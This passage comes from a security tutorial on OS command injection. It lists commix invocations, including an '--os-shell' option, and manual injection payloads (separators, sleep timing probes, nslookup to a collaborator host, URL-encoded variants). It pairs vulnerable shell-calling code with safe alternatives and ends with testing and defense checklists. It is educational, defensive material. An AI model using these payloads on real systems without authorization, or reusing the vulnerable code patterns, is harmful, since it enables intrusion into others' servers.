# OS-specific
commix --url="http://target.com/ping?host=INJECT_HERE" --os=linux

Manual Testing Payloads

# Basic tests
; id
| id
|| id
& id
&& id
$(id)
`id`
%0a id

# Time-based detection
; sleep 10
| sleep 10
& timeout /t 10   (Windows)
&& ping -c 10 127.0.0.1

# DNS-based detection
; nslookup test.collaborator.com
| nslookup test.collaborator.com

# Special character encoding
%3B id            (; id URL-encoded)
%7C id            (| id URL-encoded)
%0A id            (newline + id)

Common Vulnerable Scenarios in Modern Applications

1. PDF Generation

# VULNERABLE
os.system(f"wkhtmltopdf {url} output.pdf")

# SAFE
subprocess.run(['wkhtmltopdf', url, 'output.pdf'])
# Even safer: use a PDF library like WeasyPrint or Puppeteer

2. Video/Audio Processing

# VULNERABLE
os.system(f"ffmpeg -i {input_file} {output_file}")

# SAFE
subprocess.run(['ffmpeg', '-i', input_file, output_file])

3. Git Operations

// VULNERABLE
exec(`git clone ${repoUrl} ${directory}`);

// SAFE
execFile('git', ['clone', repoUrl, directory]);
// Even safer: use a Git library like nodegit or simple-git

4. Archive Extraction

# VULNERABLE
os.system(f"unzip {filename} -d /tmp/extracted")

# SAFE
import zipfile
with zipfile.ZipFile(filename, 'r') as zip_ref:
    zip_ref.extractall('/tmp/extracted')

5. System Monitoring

# VULNERABLE
os.system(f"ps aux | grep {process_name}")

# SAFE
import psutil
for proc in psutil.process_iter(['name']):
    if process_name in proc.info['name']:
        print(proc)

Testing Tools and Methodology

Commix (Command Injection Exploiter)

The go-to automated tool for command injection testing:

# Basic scan
commix --url="http://target.com/page?param=INJECT_HERE"

# POST request
commix --url="http://target.com/api" --data="host=INJECT_HERE" --method=POST

# With authentication
commix --url="http://target.com/page?param=INJECT_HERE" --cookie="session=abc123"

# Specific techniques
commix --url="http://target.com/page?param=INJECT_HERE" --technique=T  # Time-based only

# OS shell
commix --url="http://target.com/page?param=INJECT_HERE" --os-shell

Burp Suite Testing

  1. Capture request in Proxy
  2. Send to Repeater
  3. Replace parameter values with injection payloads
  4. Test each metacharacter: ; , | , && , || , ` , $()
  5. Monitor response times for blind injection
  6. Use Burp Collaborator for out-of-band detection
  7. Use Intruder for automated payload fuzzing

Manual Checklist

  1. Identify all parameters that could reach OS commands
  2. Test each with basic separators ( ; , | , && )
  3. Try time-based payloads ( sleep 5 , timeout /t 5 )
  4. Test URL-encoded versions of metacharacters
  5. Try newline injection ( %0a )
  6. Test argument injection (add --flag values)
  7. Check error messages for command output leakage
  8. Verify if output is reflected (direct vs. blind)
  9. Test both Linux and Windows payloads
  10. Document and report findings with proof of concept

Defense Checklist

  • Eliminate shell command usage wherever possible (use libraries instead)
  • Use safe APIs with argument lists (subprocess.run with list, execFile, ProcessBuilder)
  • NEVER use shell=True, exec(), system(), backticks with user input
  • Validate all user inputs with whitelist regex patterns
  • Reject invalid input instead of trying to sanitize it
  • Use escapeshellarg()/escapeshellcmd() as last resort (PHP)
  • Run applications as non-root/least-privilege users
  • Deploy in containers with read-only filesystems
  • Implement WAF rules blocking shell metacharacters
  • Monitor for unexpected outbound network connections
  • Set up system call monitoring (Falco, auditd)
  • Regular SAST scans for dangerous function usage
  • DAST testing with commix and Burp Suite
  • Code review all shell command invocations
  • Apply network segmentation and firewall rules
  • Keep OS, libraries, and frameworks patched
  • Implement logging for all command executions
  • Use AppArmor/SELinux to restrict process capabilities

Final Thoughts

Command Injection is arguably the most dangerous web vulnerability there is. While SQL Injection limits you to database operations, Command Injection gives attackers the full power of the operating system. They can read files, install malware, pivot to other systems, exfiltrate data, or burn everything to the ground. And the root cause is almost always the same: developers concatenating user input into shell commands.

The fix is conceptually simple: don't use shell commands with user input. Use language-native libraries instead. When you absolutely must call external commands, use safe APIs that pass arguments as lists, not strings. Validate inputs with whitelists, run applications with minimum privileges, and monitor for suspicious activity.

Shellshock showed us that even the shell itself can be vulnerable. ImageTragick showed us that file processing can trigger injection. The Equifax breach showed us that the consequences of ignoring these vulnerabilities can reach 147 million people and cost $700 million.

Don't be the developer who shells out to ping because it's "easier." The five minutes you save today could cost your company everything tomorrow. Use the safe alternatives, validate your inputs, and sleep well at night knowing your server isn't someone else's terminal.

Stay secure, avoid shells like the plague, and remember: if you're constructing a command string with user input, you're doing it wrong.


Recommended Next Steps

  • Set up vulnerable labs: DVWA, WebGoat, Commix Testbed, HackTheBox machines
  • Practice with CTF challenges focusing on command injection
  • Audit your codebase for os.system() , exec() , shell_exec() , and similar calls
  • Replace all shell commands with library alternatives where possible
  • Run commix against your staging environment
  • Read CVE reports for command injection vulnerabilities in popular frameworks
  • Implement container security with minimal privileges
  • Set up runtime monitoring with Falco or similar tools
  • Make "no shell commands with user input" a code review rule
  • Get certified: OSCP, OSWE, or CEH for hands-on exploitation skills

References